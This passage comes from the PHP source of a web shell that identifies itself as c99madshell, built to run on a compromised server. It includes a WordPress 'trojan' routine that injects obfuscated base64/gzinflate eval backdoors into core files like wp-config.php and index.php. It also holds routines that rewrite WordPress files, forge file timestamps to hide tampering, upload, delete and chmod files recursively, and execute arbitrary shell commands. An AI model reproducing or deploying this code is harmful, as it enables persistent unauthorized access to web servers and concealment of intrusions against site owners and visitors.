  618.         <input type="submit" id="wp-blog-header" value="wp-blog-header" style="font-size: 6pt;'.get_style('wp-blog-header').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-blog-header\';document.todo.submit();"/>
  619.         <input type="submit" id="wp-config" value="wp-config" style="font-size: 6pt;'.get_style('wp-config').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-config\';document.todo.submit();"/>
  620.         <input type="submit" id="wp-settings" value="wp-settings" style="font-size: 6pt;'.get_style('wp-settings').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-settings\';document.todo.submit();"/>
  621.         <input type="submit" id="template-loader" value="template-loader" style="font-size: 6pt;'.get_style('template-loader').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'template-loader\';document.todo.submit();"/>
  622.         <input type="submit" id="template" value="template" style="font-size: 6pt;'.get_style('template').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'template\';document.todo.submit();"/></p>');
  623. }
  624. function draw_patch() {
  625.         echo('<p><font color=green>Patch: </font>
  626.         <input type="submit" id="xmlrpc1" value="xmlrpc1" style="font-size: 6pt;'.get_style('xmlrpc1').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'xmlrpc1\';document.todo.submit();"/>
  627.         <input type="submit" id="xmlrpc2" value="xmlrpc2" style="font-size: 6pt;'.get_style('xmlrpc2').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'xmlrpc2\';document.todo.submit();"/>
  628.  
  629.         <input type="submit" id="admin_ajax" value="admin_ajax" style="font-size: 6pt;'.get_style('admin_ajax').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'admin_ajax\';document.todo.submit();"/>
  630.         <input type="submit" id="blog_name_sql" value="blog_name_sql" style="font-size: 6pt;'.get_style('blog_name_sql').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'blog_name_sql\';document.todo.submit();"/>
  631.         <input type="submit" id="tb_id" value="tb_id" style="font-size: 6pt;'.get_style('tb_id').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'tb_id\';document.todo.submit();"/></p>');
  632. }
  633. function found_wp() {
  634.         $path = @getcwd();
  635.         if($path === false) {
  636.                 return false;
  637.         }
  638.         if(valid_wp_path($path)) {
  639.                 return $path;
  640.         }
  641.         if(preg_match('%(wp-(\w+))%i', $path, $ret)) {
  642.                 $path = substr($path, 0, strpos($path, $ret[0]));
  643.                 return $path;
  644.         }
  645.         if(preg_match('%(blog|wp|wordpress|blogs)%i', $path, $ret)) {
  646.                 $path = substr($path, 0, strpos($path, $ret[0])+strlen($ret[0])+1);
  647.                 return $path;
  648.         }
  649.         return false;
  650. }
  651.  
  652. function valid_wp_path($path) {
  653.         if($path === false) {
  654.                 return false;
  655.         }
  656.         if(file_exists($path.'wp-config.php')) {
  657.                 return true;
  658.         } else {
  659.                 return false;
  660.         }
  661. }
  662.  
  663. function get_style($vuln) {
  664.         global $wp_path;
  665.         switch($vuln) {
  666.                 case 'xmlrpc1':
  667.                 case 'xmlrpc2':                 $file = $wp_path.'xmlrpc.php'; break;
  668.                 case 'admin_ajax':              $file = file_exists($wp_path.'wp-includes/pluggable.php')?$wp_path.'wp-includes/pluggable.php':$wp_path.'wp-includes/pluggable-functions.php'; break;
  669.                 case 'blog_name_sql':   $file = $wp_path.'wp-trackback.php'; break;
  670.                 case 'tb_id':                   $file = $wp_path.'wp-trackback.php'; break;
  671.  
  672.  
  673.                 case 'index':                   $file = $wp_path.'index.php'; break;
  674.                 case 'wp-blog-header':  $file = $wp_path.'wp-blog-header.php'; break;
  675.                 case 'wp-config':               $file = $wp_path.'wp-config.php'; break;
  676.                 case 'wp-settings':             $file = $wp_path.'wp-settings.php'; break;
  677.                 case 'template-loader': $file = $wp_path.'wp-includes/template-loader.php'; break;
  678.                 case 'template':                $file = $wp_path.'wp-trackback.ph'; break;
  679.                 default: return false;
  680.         }
  681.         if(!is_writable($file) && is_patching($vuln, $file)) {
  682.                 $style = 'background-color: yellow; color: black" disabled';
  683.         } elseif(is_writable($file) && is_patching($vuln, $file)) {
  684.                 $style = 'background-color: yellow; color: black" disabled';
  685.         } elseif(is_writable($file) && !is_patching($vuln, $file)) {
  686.                 $style = 'background-color: green; color: white"';
  687.         } else {
  688.                 $style = 'background-color: #800000; color: #FFFFFF" disabled';
  689.         }
  690.         return $style;
  691. }
  692.  
  693.  
  694. function is_patching($vuln, $file) {
  695.         if($vuln == 'index' || $vuln == 'wp-blog-header' || $vuln == 'wp-config' || $vuln == 'wp-settings' || $vuln == 'template-loader' || $vuln == 'template') {
  696.                 $content = @implode('', @file($file));
  697.                 if(!$content) {
  698.                         return false;
  699.                 }
  700.                 if(strpos($content, 'flag_turcie') !== FALSE) {
  701.                         return true;
  702.                 } else {
  703.                         return false;
  704.                 }
  705.         } elseif($vuln == 'xmlrpc1') {
  706.                 $content = @implode('', @file($file));
  707.                 if(!$content) {
  708.                         return false;
  709.                 }
  710.                 if(strpos($content, '//\'pingback.ping\' => \'this:pingback_ping\',') !== FALSE) {
  711.                         return true;
  712.                 } else {
  713.                         return false;
  714.                 }
  715.         } elseif($vuln == 'xmlrpc2') {
  716.                 $content = @implode('', @file($file));
  717.                 if(!$content) {
  718.                         return false;
  719.                 }
  720.                 if(strpos($content, '//\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',') !== FALSE) {
  721.                         return true;
  722.                 } else {
  723.                         return false;
  724.                 }
  725.         } elseif($vuln == 'admin_ajax') {
  726.                 $content = @implode('', @file($file));
  727.                 if(!$content) {
  728.                         return false;
  729.                 }
  730.                 if(strpos($content, '$user_login = $wpdb->escape($user_login);') !== FALSE) {
  731.                         return true;
  732.                 } else {
  733.                         return false;
  734.                 }
  735.         } elseif($vuln == 'blog_name_sql') {
  736.                 $content = @implode('', @file($file));
  737.                 if(!$content) {
  738.                         return false;
  739.                 }
  740.                 if(strpos($content, '$blog_name = $wpdb->escape($blog_name);') !== FALSE) {
  741.                         return true;
  742.                 } else {
  743.                         return false;
  744.                 }
  745.         } elseif($vuln == 'tb_id') {
  746.                 $content = @implode('', @file($file));
  747.                 if(!$content) {
  748.                         return false;
  749.                 }
  750.                 if(strpos($content, '$tb_id = intval($tb_id);') !== FALSE) {
  751.                         return true;
  752.                 } else {
  753.                         return false;
  754.                 }
  755.         }
  756. }
  757. ?>
  758. <p align="left"><?php
  759. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  760. if (empty($d)) {$d = @realpath(".");} elseif(@realpath($d)) {$d = @realpath($d);}
  761. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  762. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  763. $d = str_replace("\\\\","\\",$d);
  764. $dispd = htmlspecialchars($d);
  765. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  766. $i = 0;
  767. foreach($pd as $b)
  768. {
  769.  $t = "";
  770.  $j = 0;
  771.  foreach ($e as $r)
  772.  {
  773.   $t.= $r.DIRECTORY_SEPARATOR;
  774.   if ($j == $i) {break;}
  775.   $j++;
  776.  }
  777.  echo "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($t)."';document.todo.sort.value='".$sort."';document.todo.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  778.  $i++;
  779. }
  780. echo "&nbsp;&nbsp;&nbsp;";
  781. if (@is_writable($d))
  782. {
  783.  $wd = TRUE;
  784.  $wdt = "<font color=green>[ ok ]</font>";
  785.  echo "<b><font color=green>".view_perms(@fileperms($d))."</font></b>";
  786. }
  787. else
  788. {
  789.  $wd = FALSE;
  790.  $wdt = "<font color=red>[ Read-Only ]</font>";
  791.  echo "<b>".view_perms_color($d)."</b>";
  792. }
  793. echo "<br>";
  794. $letters = "";
  795. if ($win)
  796. {
  797.  $v = explode("\\",$d);
  798.  $v = $v[0];
  799.  foreach (range("a","z") as $letter)
  800.  {
  801.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  802.   if (!$bool) {$bool = @is_dir($letter.":\\");}
  803.   if ($bool)
  804.   {
  805.    $letters .= "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($letter.":\\")."';document.todo.submit();\">[ ";
  806.    if (strtolower($letter.':') != strtolower($v)) {$letters .= $letter;}
  807.    else {$letters .= "<font color=\"#00FF66\">".$letter."</font>";}
  808.    $letters .= " ]</a> ";
  809.   }
  810.  }
  811.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  812. }
  813. if (count($quicklaunch) > 0)
  814. {
  815.  foreach($quicklaunch as $item)
  816.  {
  817.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  818.   $item[1] = str_replace("%sort",$sort,$item[1]);
  819.   $v = @realpath($d."..");
  820.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  821.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  822.  
  823.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  824.  }
  825. }
  826. echo "</p></td></tr></table><br>";
  827. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  828. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  829. if ($act == "") {$act = $dspact = "ls";}
  830. if($act == 'patch') {
  831.         $vuln = $wp_act;
  832.         if($vuln == 'xmlrpc1') {
  833.                 $content = @implode('', @file($wp_path.'xmlrpc.php'));
  834.                 $content = str_replace('\'pingback.ping\' => \'this:pingback_ping\',', '//\'pingback.ping\' => \'this:pingback_ping\',', $content);
  835.                 $result = save_file($wp_path.'xmlrpc.php', $content);
  836.         } elseif($vuln == 'xmlrpc2') {
  837.                 $content = @implode('', @file($wp_path.'xmlrpc.php'));
  838.                 $content = str_replace('\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',', '//\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',', $content);
  839.                 $result = save_file($wp_path.'xmlrpc.php', $content);
  840.         } elseif($vuln == 'admin_ajax') {
  841.                 if(file_exists($wp_path.'wp-includes/pluggable.php')) {
  842.                         $content = @implode('', @file($wp_path.'wp-includes/pluggable.php'));
  843.                         $content = str_replace('$user_login = sanitize_user( $user_login );', '$user_login = sanitize_user( $user_login );'."\n\t".'$user_login = $wpdb->escape($user_login); ', $content);
  844.                         $result = save_file($wp_path.'wp-includes/pluggable.php', $content);
  845.                 }
  846.                 if(file_exists($wp_path.'wp-includes/pluggable-functions.php')) {
  847.                         $content = @implode('', @file($wp_path.'wp-includes/pluggable-functions.php'));
  848.                         $content = str_replace('$user_login = sanitize_user( $user_login );', '$user_login = sanitize_user( $user_login );'."\n\t".'$user_login = $wpdb->escape($user_login); ', $content);
  849.                         $result = save_file($wp_path.'wp-includes/pluggable-functions.php', $content);
  850.                 }
  851.         } elseif($vuln == 'blog_name_sql') {
  852.                 $content = @implode('', @file($wp_path.'wp-trackback.php'));
  853.                 $content = str_replace('if ( is_single() || is_page() )', '$blog_name = $wpdb->escape($blog_name);'."\n".'if ( is_single() || is_page() )', $content);
  854.                 $result = save_file($wp_path.'wp-trackback.php', $content);
  855.         } elseif($vuln == 'tb_id') {
  856.                 $content = @implode('', @file($wp_path.'wp-trackback.php'));
  857.                 preg_match('%\$tb_url(\s+)= \$_POST\[\'url\'\];%i', $content, $ret);
  858.                 $content = str_replace('$tb_url'.$ret[1].'= $_POST[\'url\'];', '$tb_id = intval($tb_id); '."\n".'$tb_url    = $_POST[\'url\'];', $content);
  859.                 $result = save_file($wp_path.'wp-trackback.php', $content);
  860.         } else {
  861.                 $result = false;
  862.         }
  863.         if(isset($result) && $result) {
  864.                 echo('<center><font color="green"><b>Patching OK!!!</b></font></center>');
  865.                 echo('<script>document.getElementById(\''.$vuln.'\').style.cssText="font-size: 6pt;background-color: yellow; color: black";document.getElementById(\''.$vuln.'\').disabled=true;</script>');
  866.         } else {
  867.                 echo('<center><font color="red"><b>Patching NO!!!</b></font></center>');
  868.         }
  869.         $d = $wp_path;
  870.         $act = 'ls';
  871. }
  872. if($act =='trojan') {
  873.         switch($wp_act) {
  874.                 case 'index':                   $file = $wp_path.'index.php'; break;
  875.                 case 'wp-blog-header':  $file = $wp_path.'wp-blog-header.php'; break;
  876.                 case 'wp-config':               $file = $wp_path.'wp-config.php'; break;
  877.                 case 'wp-settings':             $file = $wp_path.'wp-settings.php'; break;
  878.                 case 'template-loader': $file = $wp_path.'wp-includes/template-loader.php'; break;
  879.                 //case 'template':              $file = $wp_path.'wp-trackback.ph'; break;
  880.         }
  881.         $content = @implode('', @file($file));
  882.         if(@ini_get('allow_url_fopen')==1) {
  883.                 $trojan = '<?php if(isset($_GET[\'p\'])) eval(gzinflate(base64_decode(\'c0gtS8zRSEosTjUziU9JTc5PSdVIy8xJjU9PLYlPzs8rSc0rKdZQyigpKbDS1y/JzE2tSi3K10vKrNJPqcwrzcs01bcvsFXSKynKzNVQiXd3DYlWL1CP1dRTUivOA4qXFuWk5oFNVYkPdg0Kcw2KVofQ8X6Ovq5AlUBgDQA=\')));?>'."\n";
  884.         } else {
  885.                 $trojan = '<?php if(isset($_GET[\'p\'])){eval(gzinflate(base64_decode(\'fY/dCoJAEIVfZRFJA9GC6qKQiNgiKI117SZisXXABVtFp6ievi279mr+vnNmxpYFCYm8N6VQWqE7XPzyFrCq0bVl4ZF1yvbxkQsTPGIViPU8CFDd4A1N5V/VO8hf+q7VNFjWoeVjo26uLbaUn53auQx9a9Bq0ze2oGWVgxkmlJ0oOztdFNHqQA3Zs/sYJ9wjox6CUZ6yiLNVlGwo88i4h+W7A41TYzgzjnaeYRb+WHiC/JJ/qSyrFroaHlnpXrMWZhORQ/fFV2duhqfCxQc=\')));}?>'."\n";
  886.         }
  887.         $content = $trojan.$content;
  888.         $result = save_file($file, $content);
  889.         if($result) {
  890.                 echo('<center><font color="green"><b>Trojaning OK!!!</b></font></center>');
  891.                 echo('<script>document.getElementById(\''.$wp_act.'\').style.cssText="font-size: 6pt;background-color: yellow; color: black";document.getElementById(\''.$wp_act.'\').disabled=true;</script>');
  892.         } else {
  893.                 echo('<center><font color="red"><b>Trojaning NO!!!</b></font></center>');
  894.         }
  895.         $d = $wp_path;
  896.         $act = 'ls';
  897. }
  898. if ($act == "mkdir")
  899. {
  900.  if ($mkdir != $d)
  901.  {
  902.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  903.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  904.   echo "<br><br>";
  905.  }
  906.  $act = $dspact = "ls";
  907. }
  908.  
  909. if ($act == "d")
  910. {
  911.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  912.  else
  913.  {
  914.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  915.   if (!$win)
  916.   {
  917.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  918.    $ow = posix_getpwuid(fileowner($d));
  919.    $gr = posix_getgrgid(filegroup($d));
  920.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  921.   }
  922.   echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  923.  }
  924. }
  925. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
  926. if ($act == "mkfile")
  927. {
  928.  if ($mkfile != $d)
  929.  {
  930.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  931.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  932.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  933.  }
  934.  else {$act = $dspact = "ls";}
  935. }
  936.  
  937. if ($act == "selfremove")
  938. {
  939.  if (($submit == $rndcode) and ($submit != ""))
  940.  {
  941.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99madshell v.".$shver."!"; c99shexit(); }
  942.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  943.  }
  944.  else
  945.  {
  946.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  947.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  948.   echo "<form method=\"POST\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  949.  }
  950. }
  951. if($act == 'touch') {
  952.         if(is_link($d.$f) || $f == '.' || $f == '..') {
  953.                 echo('<font color="red">ONLY FILE AND CATALOGS!!!</font>');
  954.                 $act = 'ls';
  955.         } else {
  956.                 if(!isset($submit)) {
  957.                         $time_array = explode(':',@date("d:m:Y:H:i:s",@filemtime($d.$f)));
  958.                 echo("
  959.                 <form method=\"POST\">
  960.  
  961.                 <input name='act' type='hidden' value='touch'>
  962.                 <input name='f' type='hidden' value='".urlencode($f)."'>
  963.                 <input name='d' type='hidden' value='".urlencode($d)."'>
  964.                 <input type=submit name=submit value=\"Save\">&nbsp;
  965.                 <input type=\"reset\" value=\"Reset\">&nbsp;
  966.                 <input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br>Current file's time: ".@date("d.m.Y H:i:s", filemtime($d.$f)).'
  967. <br />Set new date:
  968. <select name="day" size="1">');
  969. echo($time_array[0]);
  970. for($i=1;$i<32;++$i) {
  971.         $i2 = (strlen($i)==1)?'0'.$i:$i;
  972.         echo('<option value="'.$i2.'" '.(($time_array[0]==$i2)?' selected':'').'>'.$i2.'</option>');
  973. }
  974. echo('</select>
  975.  
  976. &nbsp;<b>Month</b>
  977. <select name="month" size="1">
  978. <option value="January" '.(($time_array[1]=='01')?'selected':'').'>January ---(01)</option>
  979. <option value="February" '.(($time_array[1]=='02')?'selected':'').'>February --(02)</option>
  980. <option value="March" '.(($time_array[1]=='03')?'selected':'').'>March ------(03)</option>
  981. <option value="April" '.(($time_array[1]=='04')?'selected':'').'>April --------(04)</option>
  982. <option value="May" '.(($time_array[1]=='05')?'selected':'').'>May ---------(05)</option>
  983. <option value="June" '.(($time_array[1]=='06')?'selected':'').'>June --------(06)</option>
  984. <option value="July" '.(($time_array[1]=='07')?'selected':'').'>July ---------(07)</option>
  985.  
  986. <option value="August" '.(($time_array[1]=='08')?'selected':'').'>August -----(08)</option>
  987. <option value="September" '.(($time_array[1]=='09')?'selected':'').'>September -(09)</option>
  988. <option value="October" '.(($time_array[1]=='10')?'selected':'').'>October ----(10)</option>
  989. <option value="November" '.(($time_array[1]=='11')?'selected':'').'>November --(11)</option>
  990. <option value="December" '.(($time_array[1]=='12')?'selected':'').'>December --(12)</option>
  991. </select>
  992.  
  993. &nbsp;<b>Year</b>
  994. <select name="year" size="1">');
  995. echo($time_array[0]);
  996. for($i=1998;$i<2010;++$i) {
  997.         echo('<option value="'.$i.'" '.(($time_array[2]==$i)?' selected':'').'>'.$i.'</option>');
  998. }
  999. echo('</select>
  1000.  
  1001. &nbsp;<b>Hour </b>
  1002. <select name="chasi" size="1">');
  1003. echo($time_array[0]);
  1004. for($i=1;$i<60;++$i) {
  1005.         $i2 = (strlen($i)==1)?'0'.$i:$i;
  1006.         echo('<option value="'.$i2.'" '.(($time_array[3]==$i2)?' selected':'').'>'.$i2.'</option>');
  1007. }
  1008. echo('</select>
  1009.  
  1010. &nbsp;<b>Minute </b>
  1011. <select name="minutes" size="1">');
  1012. echo($time_array[0]);
  1013. for($i=1;$i<60;++$i) {
  1014.         $i2 = (strlen($i)==1)?'0'.$i:$i;
  1015.         echo('<option value="'.$i2.'" '.(($time_array[4]==$i2)?' selected':'').'>'.$i2.'</option>');
  1016. }
  1017. echo('</select>
  1018.  
  1019. &nbsp;<b>Second </b>
  1020. <select name="second" size="1">');
  1021. echo($time_array[0]);
  1022. for($i=1;$i<60;++$i) {
  1023.         $i2 = (strlen($i)==1)?'0'.$i:$i;
  1024.         echo('<option value="'.$i2.'" '.(($time_array[5]==$i2)?' selected':'').'>'.$i2.'</option>');
  1025. }
  1026. echo('</select></form>');
  1027. $act = 'ls';
  1028.                 } else {
  1029.         $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
  1030.         $datar = @strtotime($datar);
  1031.         if(@touch($d.$f,$datar,$datar)) {
  1032.                 echo('<center><b><font color=green>Time was been change successfull</font></b></center>');
  1033.         } else {
  1034.                 echo('<center><b><font color=red>Time NOT changed!!!</font></b></center>');
  1035.         }
  1036.         $act = 'ls';
  1037. }
  1038.         }
  1039. }
  1040.  
  1041. if ($act == "search")
  1042. {
  1043.  echo "<b>Search in file-system:</b><br>";
  1044.  if (empty($search_in)) {$search_in = $d;}
  1045.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1046.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1047.  if (!empty($submit))
  1048.  {
  1049.   $found = array();
  1050.   $found_d = 0;
  1051.   $found_f = 0;
  1052.   $search_i_f = 0;
  1053.   $search_i_d = 0;
  1054.   $a = array
  1055.   (
  1056.    "name"=>@$search_name, "name_regexp"=>@$search_name_regexp,
  1057.    "text"=>@$search_text, "text_regexp"=>@$search_text_regxp,
  1058.    "text_wwo"=>@$search_text_wwo,
  1059.    "text_cs"=>@$search_text_cs,
  1060.    "text_not"=>@$search_text_not
  1061.   );
  1062.   $in = array_unique(explode(";",$search_in));
  1063.   foreach($in as $v) {c99fsearch($v);}
  1064.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  1065.   else
  1066.   {
  1067.    $ls_arr = $found;
  1068.    $disp_fullpath = TRUE;
  1069.    $act = "ls";
  1070.   }
  1071.  }
  1072.  echo "<form method=POST>
  1073. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  1074.  
  1075. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  1076. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  1077. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".@htmlspecialchars($search_text)."</textarea>
  1078. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".(@$search_text_regexp == 1?" checked":"")."> - regexp
  1079. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".(@$search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  1080. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".(@$search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  1081.  
  1082. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".(@$search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  1083. <br><br><input type=submit name=submit value=\"Search\"></form>";
  1084. }
  1085. if ($act == "chmod")
  1086. {
  1087.  $mode = fileperms($d.$f);
  1088.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1089.  else
  1090.  {
  1091.   $form = TRUE;
  1092.   if (isset($chmod_submit))
  1093.   {
  1094.         if(empty($hand)) {
  1095.         $octet = '0'.base_convert((isset($chmod_o["r"])?1:0).(isset($chmod_o["w"])?1:0).(isset($chmod_o["x"])?1:0).(isset($chmod_g["r"])?1:0).(isset($chmod_g["w"])?1:0).(isset($chmod_g["x"])?1:0).(isset($chmod_w["r"])?1:0).(isset($chmod_w["w"])?1:0).(isset($chmod_w["x"])?1:0),2,8);
  1096.         } else {
  1097.                 if(substr($hand,0,1)==0) { $octet = $hand; } else {$octet = '0'.$hand; }
  1098.  
  1099.         }
  1100.         if(!isset($recurs)) $recurs = 0;
  1101.         if(is_dir($d.$f) && $recurs== 1) {
  1102.                 $result = setRecursPerm($d.$f,intval($octet,8));
  1103.                 list($good, $bad) = explode(':', $result);
  1104.                 echo('<b>Result: <font color="green">'.$good.'=> Success</font>, <font color="red">'.$bad.'=>BAD</font><b><br>');
  1105.         } else {
  1106.                 if (@chmod($d.$f,intval($octet,8))) {
  1107.                         clearstatcache();
  1108.                         $act = 'ls';
  1109.                         $form = FALSE;
  1110.                         $err = '';
  1111.                 } else {
  1112.                         $err = 'Can\'t chmod to '.$octet.'.';
  1113.                 }
  1114.         }
  1115.   }
  1116.   if ($form)
  1117.   {
  1118.    $perms = parse_perms($mode);
  1119.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".(isset($err)?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=text name=hand value=\"\"><br />";
  1120.    if(is_dir($d.$f)) {
  1121.         echo "<input type=checkbox NAME=recurs value=1 checked=\"checked\"> Use recursive<br>";
  1122.    }
  1123.    echo "<br><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1124.   }
  1125.  }
  1126. }
  1127. if ($act == "upload") {
  1128.         $uploadmess = '';
  1129.         if(isset($_FILES['uploadfile']) && !empty($_FILES['uploadfile']['tmp_name'])) {
  1130.                 $uploadpath = $d;
  1131.                 $destin = $_FILES['uploadfile']["name"];
  1132.                 if (!move_uploaded_file($_FILES['uploadfile']['tmp_name'],$uploadpath.$destin)) {$uploadmess .= "<font color=red>Error uploading file ".$_FILES['uploadfile']['name']." (can't copy \"".$_FILES['uploadfile']['tmp_name']."\" to \"".$uploadpath.$destin."\"!</font><br>";} else {
  1133.                         $uploadmess = '<font color=green>File success uploaded</font>';
  1134.                 }
  1135.         }
  1136.         echo "<center><b>".$uploadmess."</b></center>";
  1137.         $act = 'ls';
  1138. }
  1139. if ($act == "delete")
  1140. {
  1141.  $delerr = "";
  1142.  foreach ($actbox as $v)
  1143.  {
  1144.   $result = FALSE;
  1145.   $result = fs_rmobj($v);
  1146.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  1147.  }
  1148.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  1149.  $act = "ls";
  1150. }
  1151. if ($act == "cmd")
  1152. {
  1153.  @chdir($chdir);
  1154.  if (!empty($submit))
  1155.  {
  1156.   echo "<b>Result of execution this command</b>:<br>";
  1157.   $olddir = realpath(".");
  1158.   @chdir($d);
  1159.   $ret = myshellexec($cmd);
  1160.   $ret = convert_cyr_string($ret,"d","w");
  1161.   if ($cmd_txt)
  1162.   {
  1163.    $rows = count(explode("\r\n",$ret))+1;
  1164.    if ($rows < 10) {$rows = 10;}
  1165.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1166.   }
